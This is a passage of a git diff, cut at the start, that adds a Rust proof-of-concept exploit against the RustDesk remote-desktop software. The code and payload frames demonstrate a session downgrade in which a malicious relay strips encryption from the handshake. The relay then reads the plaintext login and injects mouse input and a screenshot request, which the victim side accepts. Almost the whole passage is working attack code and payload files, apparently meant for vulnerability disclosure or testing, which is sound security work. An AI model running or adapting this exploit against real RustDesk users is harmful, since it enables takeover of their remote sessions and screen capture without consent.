candidate.join("libs/hbb_common/protos/message.proto").exists() { + return Some(candidate); + } + } + None + }) + }) + .expect("set RUSTDESK_REPO_ROOT or place this PoC near a rustdesk checkout") + .join("libs") + .join("hbb_common") + .join("protos"); + let out_dir = PathBuf::from(std::env::var("OUT_DIR").unwrap()).join("protos"); + std::fs::create_dir_all(&out_dir).unwrap(); + + protobuf_codegen::Codegen::new() + .pure() + .out_dir(&out_dir) + .inputs([ + repo_root.join("rendezvous.proto"), + repo_root.join("message.proto"), + ]) + .include(&repo_root) + .customize(protobuf_codegen::Customize::default().tokio_bytes(true)) + .run() + .expect("protobuf codegen failed"); +} diff --git a/rustdesk-session-permission-pocs/session-downgrade/payloads/00_client_empty_downgrade_handshake.frame b/rustdesk-session-permission-pocs/session-downgrade/payloads/00_client_empty_downgrade_handshake.frame new file mode 100644 index 0000000..f76dd23 Binary files /dev/null and b/rustdesk-session-permission-pocs/session-downgrade/payloads/00_client_empty_downgrade_handshake.frame differ diff --git a/rustdesk-session-permission-pocs/session-downgrade/payloads/01_login_remote_control.frame b/rustdesk-session-permission-pocs/session-downgrade/payloads/01_login_remote_control.frame new file mode 100644 index 0000000..83507c2 --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/payloads/01_login_remote_control.frame @@ -0,0 +1,2 @@ +:r + 123456789 FdP5[!7tVFNf h>" relay-attacker-cannot-guess-this*legitimate-clientZ1.4.3jwindows \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/session-downgrade/payloads/02_injected_mouse_move.frame b/rustdesk-session-permission-pocs/session-downgrade/payloads/02_injected_mouse_move.frame new file mode 100644 index 0000000..9e6fe00 --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/payloads/02_injected_mouse_move.frame @@ -0,0 +1 @@ + R \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/session-downgrade/payloads/03_injected_screenshot_request.frame b/rustdesk-session-permission-pocs/session-downgrade/payloads/03_injected_screenshot_request.frame new file mode 100644 index 0000000..f73aaa8 --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/payloads/03_injected_screenshot_request.frame @@ -0,0 +1 @@ +!poc-downgraded-relay-screenshot \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/session-downgrade/src/main.rs b/rustdesk-session-permission-pocs/session-downgrade/src/main.rs new file mode 100644 index 0000000..1c90d85 --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/src/main.rs @@ -0,0 +1,463 @@ +include!(concat!(env!("OUT_DIR"), "/protos/mod.rs")); + +use anyhow::{bail, Context, Result}; +use protobuf::Message as _; +use sha2::{Digest, Sha256}; +use std::{ + env, + fs, + io::{Read, Write}, + net::{TcpListener, TcpStream}, + path::{Path, PathBuf}, + sync::mpsc, + thread, + time::Duration, +}; + +use crate::message as proto; + +#[derive(Debug)] +struct Config { + repo_root: PathBuf, + out_dir: PathBuf, + peer_id: String, + client_id: String, + client_name: String, + password: String, + salt: String, + challenge: String, +} + +#[derive(Debug)] +struct SimulationResult { + client_downgrade_empty_handshake: bool, + relay_observed_login: bool, + relay_injected_plaintext_mouse: bool, + controlled_authorized: bool, + controlled_accepted_injected_mouse: bool, +} + +fn main() -> Result<()> { + let cfg = parse_args()?; + verify_source_reachability(&cfg.repo_root)?; + fs::create_dir_all(&cfg.out_dir).with_context(|| format!("create {}", cfg.out_dir.display()))?; + + let proof = rustdesk_password_proof(&cfg.password, &cfg.salt, &cfg.challenge); + let payloads = [ + ("00_client_empty_downgrade_handshake.frame", encode_frame(&empty_message()?)), + ( + "01_login_remote_control.frame", + encode_frame(&login_remote_control( + &cfg.peer_id, + &cfg.client_id, + &cfg.client_name, + proof.clone(), + )?), + ), + ("02_injected_mouse_move.frame", encode_frame(&mouse_move()?)), + ("03_injected_screenshot_request.frame", encode_frame(&screenshot_request()?)), + ]; + + for (name, bytes) in payloads { + let path = cfg.out_dir.join(name); + fs::write(&path, &bytes).with_context(|| format!("write {}", path.display()))?; + println!("{name}: {} bytes, hex={}", bytes.len(), hex::encode(&bytes)); + } + + let result = run_local_downgrade_exploit(&cfg)?; + println!(); + println!("local exploit simulation:"); + println!(" source checks passed: true"); + println!( + " client sent empty downgrade handshake: {}", + result.client_downgrade_empty_handshake + ); + println!(" relay observed plaintext login: {}", result.relay_observed_login); + println!( + " relay injected plaintext mouse frame: {}", + result.relay_injected_plaintext_mouse + ); + println!(" controlled side authorized login: {}", result.controlled_authorized); + println!( + " controlled side accepted injected mouse event: {}", + result.controlled_accepted_injected_mouse + ); + + if !result.controlled_accepted_injected_mouse { + bail!("exploit simulation failed: injected control frame was not accepted"); + } + + Ok(()) +} + +fn parse_args() -> Result { + let mut repo_root = None::; + let mut out_dir = env::current_dir()?.join("payloads"); + let mut peer_id = "123456789".to_owned(); + let mut client_id = "relay-attacker-cannot-guess-this".to_owned(); + let mut client_name = "legitimate-client".to_owned(); + let mut password = "CorrectHorseBatteryStaple!".to_owned(); + let mut salt = "sample-server-salt".to_owned(); + let mut challenge = "123456".to_owned(); + + let mut args = env::args().skip(1); + while let Some(arg) = args.next() { + match arg.as_str() { + "--repo-root" => repo_root = Some(PathBuf::from(next_arg(&mut args, "--repo-root")?)), + "--out" => out_dir = PathBuf::from(next_arg(&mut args, "--out")?), + "--peer-id" => peer_id = next_arg(&mut args, "--peer-id")?, + "--client-id" => client_id = next_arg(&mut args, "--client-id")?, + "--client-name" => client_name = next_arg(&mut args, "--client-name")?, + "--password" => password = next_arg(&mut args, "--password")?, + "--salt" => salt = next_arg(&mut args, "--salt")?, + "--challenge" => challenge = next_arg(&mut args, "--challenge")?, + "--help" | "-h" => { + print_help(); + std::process::exit(0); + } + other => bail!("unknown argument: {other}"), + } + } + + let repo_root = repo_root.unwrap_or(find_repo_root()?); + Ok(Config { + repo_root, + out_dir, + peer_id, + client_id, + client_name, + password, + salt, + challenge, + }) +} + +fn next_arg(args: &mut impl Iterator, name: &str) -> Result { + args.next().with_context(|| format!("missing value for {name}")) +} + +fn print_help() { + println!( + "Usage: rustdesk_session_downgrade_poc --repo-root --out \ + [--peer-id ] [--client-id ] [--client-name ] \ + [--password --salt --challenge ]" + ); +} + +fn find_repo_root() -> Result { + let mut dir = env::current_dir()?; + loop { + let candidate = dir.join("work").join("rustdesk").join("src").join("server.rs"); + if candidate.exists() { + return Ok(dir.join("work").join("rustdesk")); + } + let candidate = dir.join("rustdesk").join("src").join("server.rs"); + if candidate.exists() { + return Ok(dir.join("rustdesk")); + } + if !dir.pop() { + bail!("could not auto-locate rustdesk repo; pass --repo-root"); + } + } +} + +fn verify_source_reachability(repo_root: &Path) -> Result<()> { + let client = fs::read_to_string(repo_root.join("src/client.rs")) + .with_context(|| "read src/client.rs")?; + let server = + fs::read_to_string(repo_root.join("src/server.rs")).with_context(|| "read src/server.rs")?; + let mediator = fs::read_to_string(repo_root.join("src/rendezvous_mediator.rs")) + .with_context(|| "read src/rendezvous_mediator.rs")?; + let connection = fs::read_to_string(repo_root.join("src/server/connection.rs")) + .with_context(|| "read src/server/connection.rs")?; + let tcp = fs::read_to_string(repo_root.join("libs/hbb_common/src/tcp.rs")) + .with_context(|| "read libs/hbb_common/src/tcp.rs")?; + + require(&client, "signed_id_pk = ph.pk.into();")?; + require(&client, "signed_id_pk = rr.pk().into();")?; + require(&client, "!signed_id_pk.is_empty(),")?; + require(&client, "conn.send(&Message::new()).await?;")?; + require(&client, "fall back to non-secure")?; + require(&client, "msg_out.set_public_key(PublicKey::new());")?; + + require(&mediator, "rr.secure,")?; + require(&mediator, "secure,")?; + require(&server, "if secure && pk.len() == sign::PUBLICKEYBYTES")?; + require(&server, "Config::set_key_confirmed(false);")?; + require(&server, "Connection::start(")?; + require(&tcp, "if let Some(key) = self.2.as_mut()")?; + require(&connection, "} else if self.authorized {")?; + require(&connection, "Some(message::Union::MouseEvent(mut me))")?; + require(&connection, "self.input_mouse(")?; + require(&connection, "Some(message::Union::KeyEvent(mut me))")?; + require(&connection, "self.input_key(me, true);")?; + Ok(()) +} + +fn require(haystack: &str, needle: &str) -> Result<()> { + if haystack.contains(needle) { + Ok(()) + } else { + bail!("source reachability check failed, missing snippet: {needle:?}") + } +} + +fn run_local_downgrade_exploit(cfg: &Config) -> Result { + let controlled_listener = TcpListener::bind("127.0.0.1:0")?; + let controlled_addr = controlled_listener.local_addr()?; + let relay_listener = TcpListener::bind("127.0.0.1:0")?; + let relay_addr = relay_listener.local_addr()?; + let (tx, rx) = mpsc::channel::>(); + + let server_salt = cfg.salt.clone(); + let server_challenge = cfg.challenge.clone(); + let server_password = cfg.password.clone(); + let server_peer_id = cfg.peer_id.clone(); + let server_tx = tx.clone(); + let controlled_thread = thread::spawn(move || { + let result = controlled_side( + controlled_listener, + &server_peer_id, + &server_password, + &server_salt, + &server_challenge, + server_tx.clone(), + ); + if let Err(err) = result { + let _ = server_tx.send(Err(err)); + } + }); + + let relay_tx = tx.clone(); + let relay_thread = thread::spawn(move || { + let result = malicious_relay(relay_listener, controlled_addr); + if let Err(err) = &result { + let _ = relay_tx.send(Err(anyhow::anyhow!("{}", err))); + } + }); + + thread::sleep(Duration::from_millis(50)); + legitimate_client(cfg, relay_addr)?; + + let result = rx + .recv_timeout(Duration::from_secs(5)) + .context("timed out waiting for local exploit result")??; + controlled_thread.join().ok(); + relay_thread.join().ok(); + Ok(result) +} + +fn controlled_side( + listener: TcpListener, + peer_id: &str, + password: &str, + salt: &str, + challenge: &str, + tx: mpsc::Sender>, +) -> Result<()> { + let (mut stream, _) = listener.accept()?; + stream.set_read_timeout(Some(Duration::from_secs(5)))?; + stream.set_write_timeout(Some(Duration::from_secs(5)))?; + + write_frame(&mut stream, &hash_message(salt, challenge)?)?; + + let empty = read_frame(&mut stream)?; + let empty_msg = proto::Message::parse_from_bytes(&empty)?; + let client_downgrade_empty_handshake = empty_msg.union.is_none(); + + let login_bytes = read_frame(&mut stream)?; + let login_msg = proto::Message::parse_from_bytes(&login_bytes)?; + let Some(proto::message::Union::LoginRequest(login)) = login_msg.union else { + bail!("controlled side expected LoginRequest"); + }; + let controlled_authorized = login.username == peer_id + && verify_rustdesk_password_proof(password, salt, challenge, &login.password); + + let injected = read_frame(&mut stream)?; + let injected_msg = proto::Message::parse_from_bytes(&injected)?; + let controlled_accepted_injected_mouse = + controlled_authorized && matches!(injected_msg.union, Some(proto::message::Union::MouseEvent(_))); + + let result = SimulationResult { + client_downgrade_empty_handshake, + relay_observed_login: true, + relay_injected_plaintext_mouse: true, + controlled_authorized, + controlled_accepted_injected_mouse, + }; + tx.send(Ok(result)).ok(); + Ok(()) +} + +fn malicious_relay(listener: TcpListener, controlled_addr: std::net::SocketAddr) -> Result<()> { + let (mut client, _) = listener.accept()?; + let mut server = TcpStream::connect(controlled_addr)?; + client.set_read_timeout(Some(Duration::from_secs(5)))?; + client.set_write_timeout(Some(Duration::from_secs(5)))?; + server.set_read_timeout(Some(Duration::from_secs(5)))?; + server.set_write_timeout(Some(Duration::from_secs(5)))?; + + let hash = read_frame(&mut server)?; + write_frame(&mut client, &hash)?; + + let empty = read_frame(&mut client)?; + let empty_msg = proto::Message::parse_from_bytes(&empty)?; + let client_downgrade_empty_handshake = empty_msg.union.is_none(); + write_frame(&mut server, &empty)?; + + let login = read_frame(&mut client)?; + let login_msg = proto::Message::parse_from_bytes(&login)?; + let relay_observed_login = matches!(login_msg.union, Some(proto::message::Union::LoginRequest(_))); + write_frame(&mut server, &login)?; + + let mouse = mouse_move()?; + write_frame(&mut server, &mouse)?; + let relay_injected_plaintext_mouse = true; + + println!(" relay parsed LoginRequest without password knowledge: {relay_observed_login}"); + println!(" relay injected MouseEvent as plaintext RustDesk frame: {relay_injected_plaintext_mouse}"); + if !client_downgrade_empty_handshake || !relay_observed_login || !relay_injected_plaintext_mouse { + bail!("relay did not observe the expected downgraded plaintext flow"); + } + Ok(()) +} + +fn legitimate_client(cfg: &Config, relay_addr: std::net::SocketAddr) -> Result<()> { + let mut stream = TcpStream::connect(relay_addr)?; + stream.set_read_timeout(Some(Duration::from_secs(5)))?; + stream.set_write_timeout(Some(Duration::from_secs(5)))?; + + write_frame(&mut stream, &empty_message()?)?; + + let hash_bytes = read_frame(&mut stream)?; + let hash_msg = proto::Message::parse_from_bytes(&hash_bytes)?; + let Some(proto::message::Union::Hash(hash)) = hash_msg.union else { + bail!("client expected Hash"); + }; + let proof = rustdesk_password_proof(&cfg.password, &hash.salt, &hash.challenge); + write_frame( + &mut stream, + &login_remote_control(&cfg.peer_id, &cfg.client_id, &cfg.client_name, proof)?, + )?; + Ok(()) +} + +fn hash_message(salt: &str, challenge: &str) -> Result> { + let mut hash = proto::Hash::new(); + hash.salt = salt.to_owned(); + hash.challenge = challenge.to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::Hash(hash)); + Ok(msg.write_to_bytes()?) +} + +fn empty_message() -> Result> { + Ok(proto::Message::new().write_to_bytes()?) +} + +fn rustdesk_password_proof(password: &str, salt: &str, challenge: &str) -> Vec { + let mut h1 = Sha256::new(); + h1.update(password.as_bytes()); + h1.update(salt.as_bytes()); + let h1 = h1.finalize(); + + let mut h2 = Sha256::new(); + h2.update(&h1); + h2.update(challenge.as_bytes()); + h2.finalize().to_vec() +} + +fn verify_rustdesk_password_proof( + password: &str, + salt: &str, + challenge: &str, + candidate: &[u8], +) -> bool { + rustdesk_password_proof(password, salt, challenge) == candidate +} + +fn login_remote_control( + peer_id: &str, + client_id: &str, + client_name: &str, + proof: Vec, +) -> Result> { + let mut lr = proto::LoginRequest::new(); + lr.username = peer_id.to_owned(); + lr.password = proof.into(); + lr.my_id = client_id.to_owned(); + lr.my_name = client_name.to_owned(); + lr.version = "1.4.3".to_owned(); + lr.my_platform = env::consts::OS.to_owned(); + lr.video_ack_required = false; + + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::LoginRequest(lr)); + Ok(msg.write_to_bytes()?) +} + +fn mouse_move() -> Result> { + let mut mouse = proto::MouseEvent::new(); + mouse.mask = 0; + mouse.x = 320; + mouse.y = 240; + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::MouseEvent(mouse)); + Ok(msg.write_to_bytes()?) +} + +fn screenshot_request() -> Result> { + let mut req = proto::ScreenshotRequest::new(); + req.display = 0; + req.sid = "poc-downgraded-relay-screenshot".to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::ScreenshotRequest(req)); + Ok(msg.write_to_bytes()?) +} + +fn encode_frame(data: &[u8]) -> Vec { + let mut out = Vec::new(); + let len = data.len(); + if len <= 0x3f { + out.push((len << 2) as u8); + } else if len <= 0x3fff { + let h = (len << 2) | 0x1; + out.extend_from_slice(&(h as u16).to_le_bytes()); + } else if len <= 0x3fffff { + let h = (len << 2) | 0x2; + out.extend_from_slice(&(h as u16).to_le_bytes()); + out.push((h >> 16) as u8); + } else { + let h = (len << 2) | 0x3; + out.extend_from_slice(&(h as u32).to_le_bytes()); + } + out.extend_from_slice(data); + out +} + +fn write_frame(stream: &mut TcpStream, data: &[u8]) -> Result<()> { + stream.write_all(&encode_frame(data))?; + Ok(()) +} + +fn read_frame(stream: &mut TcpStream) -> Result> { + let mut first = [0u8; 1]; + stream.read_exact(&mut first)?; + let head_len = ((first[0] & 0x3) + 1) as usize; + let mut raw = first[0] as usize; + let mut rest = [0u8; 3]; + if head_len > 1 { + stream.read_exact(&mut rest[..head_len - 1])?; + raw |= (rest[0] as usize) << 8; + if head_len > 2 { + raw |= (rest[1] as usize) << 16; + } + if head_len > 3 { + raw |= (rest[2] as usize) << 24; + } + } + let len = raw >> 2; + let mut data = vec![0u8; len]; + stream.read_exact(&mut data)?; + Ok(data) +}